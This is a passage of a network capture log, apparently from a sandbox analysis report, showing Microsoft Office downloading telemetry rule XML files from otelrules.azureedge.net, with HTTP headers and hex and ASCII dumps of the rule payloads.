2024-11-20 15:52:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.9	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155213Z-185f5d8b95cdtclvhC1NYC4rmc0000000akg00000000hemz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.9	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 7103f809-c01e-002b-5dee-3a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155214Z-185f5d8b95c4hl5whC1NYCeex00000000acg00000000bkfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.9	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:14 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:14 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155214Z-185f5d8b95cmd8vfhC1NYC0g40000000067g00000000vz64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:14 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.9	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:14 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155214Z-185f5d8b95c4bhwphC1NYCs8gw0000000ang000000007573 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.9	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:14 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155214Z-185f5d8b95crwqd8hC1NYCps680000000abg00000000trwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.9	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:15 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:16 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155215Z-185f5d8b95crwqd8hC1NYCps680000000aeg00000000d9xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:16 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.9	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:16 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:16 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155216Z-1777c6cb754whff4hC1TEBcd6c00000008b000000000spap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:16 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.9	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:16 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:16 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:16 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155216Z-185f5d8b95cx9g8lhC1NYCtgvc00000002qg00000000y565 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:16 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.9	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:16 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:16 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155216Z-r1d97b99577hsvhhhC1TEByb1w00000003eg000000001tyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:17 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.9	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:16 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:16 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155216Z-1777c6cb754lv4cqhC1TEB13us00000009pg00000000vmkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:17 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.9	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:18 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:18 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155218Z-185f5d8b95c95vpshC1NYC759c0000000ad000000000p93n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:18 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.9	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:18 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:18 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155218Z-r1d97b99577kk29chC1TEBemmg00000008zg00000000sx2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
